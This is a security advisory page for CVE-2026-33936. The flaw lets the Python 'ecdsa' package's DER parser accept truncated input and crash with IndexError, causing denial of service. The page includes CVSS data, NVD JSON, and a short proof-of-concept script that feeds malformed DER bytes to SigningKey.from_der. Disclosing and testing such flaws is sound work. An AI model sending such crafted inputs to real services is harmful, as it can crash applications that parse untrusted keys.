Security Vulnerability Report
中文
CVE-2026-33936 CVSS 5.3 MEDIUM

CVE-2026-33936

Published: 2026-03-27 23:17:14
Last Modified: 2026-04-01 13:23:22

Description

The `ecdsa` PyPI package is a pure Python implementation of ECC (Elliptic Curve Cryptography) with support for ECDSA (Elliptic Curve Digital Signature Algorithm), EdDSA (Edwards-curve Digital Signature Algorithm) and ECDH (Elliptic Curve Diffie-Hellman). Prior to version 0.19.2, an issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the public API functions. `ecdsa.der.remove_octet_string()` accepts truncated DER where the encoded length exceeds the available buffer. For example, an OCTET STRING that declares a length of 4096 bytes but provides only 3 bytes is parsed successfully instead of being rejected. Because of that, a crafted DER input can cause `SigningKey.from_der()` to raise an internal exception (`IndexError: index out of bounds on dimension 1`) rather than cleanly rejecting malformed DER (e.g., raising `UnexpectedDER` or `ValueError`). Applications that parse untrusted DER private keys may crash if they do not handle unexpected exceptions, resulting in a denial of service. Version 0.19.2 patches the issue.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:tlsfuzzer:ecdsa:*:*:*:*:*:python:*:* - VULNERABLE
python-ecdsa < 0.19.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import ecdsa from ecdsa import der # Construct a malicious DER input to trigger the IndexError # DER structure: SEQUENCE { INTEGER (0), OCTET STRING (declared length 10, actual 1 byte) } # 30 06: SEQUENCE of length 6 # 02 01 00: INTEGER 0 # 04 0A 41: OCTET STRING tag (04), length (0A = 10), data (41 = 1 byte) malformed_der = bytes.fromhex("3006020100040A41") try: # Attempt to parse the malformed DER as a signing key key = ecdsa.SigningKey.from_der(malformed_der) print("Parsing succeeded (unexpected)") except (der.UnexpectedDER, ValueError) as e: print(f"Expected exception caught: {type(e).__name__}") except IndexError as e: print(f"Vulnerability triggered! Internal exception: {type(e).__name__}: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33936", "sourceIdentifier": "[email protected]", "published": "2026-03-27T23:17:13.733", "lastModified": "2026-04-01T13:23:21.680", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The `ecdsa` PyPI package is a pure Python implementation of ECC (Elliptic Curve Cryptography) with support for ECDSA (Elliptic Curve Digital Signature Algorithm), EdDSA (Edwards-curve Digital Signature Algorithm) and ECDH (Elliptic Curve Diffie-Hellman). Prior to version 0.19.2, an issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the public API functions. `ecdsa.der.remove_octet_string()` accepts truncated DER where the encoded length exceeds the available buffer. For example, an OCTET STRING that declares a length of 4096 bytes but provides only 3 bytes is parsed successfully instead of being rejected. Because of that, a crafted DER input can cause `SigningKey.from_der()` to raise an internal exception (`IndexError: index out of bounds on dimension 1`) rather than cleanly rejecting malformed DER (e.g., raising `UnexpectedDER` or `ValueError`). Applications that parse untrusted DER private keys may crash if they do not handle unexpected exceptions, resulting in a denial of service. Version 0.19.2 patches the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-130"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tlsfuzzer:ecdsa:*:*:*:*:*:python:*:*", "versionEndExcluding": "0.19.2", "matchCriteriaId": "E96A1566-0D57-48AB-A82C-2C5101EB5318"}]}]}], "references": [{"url": "https://github.com/tlsfuzzer/python-ecdsa/commit/bd66899550d7185939bf27b75713a2ac9325a9d3", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/tlsfuzzer/python-ecdsa/releases/tag/python-ecdsa-0.19.2", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/tlsfuzzer/python-ecdsa/security/advisories/GHSA-9f5j-8jwj-x28g", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}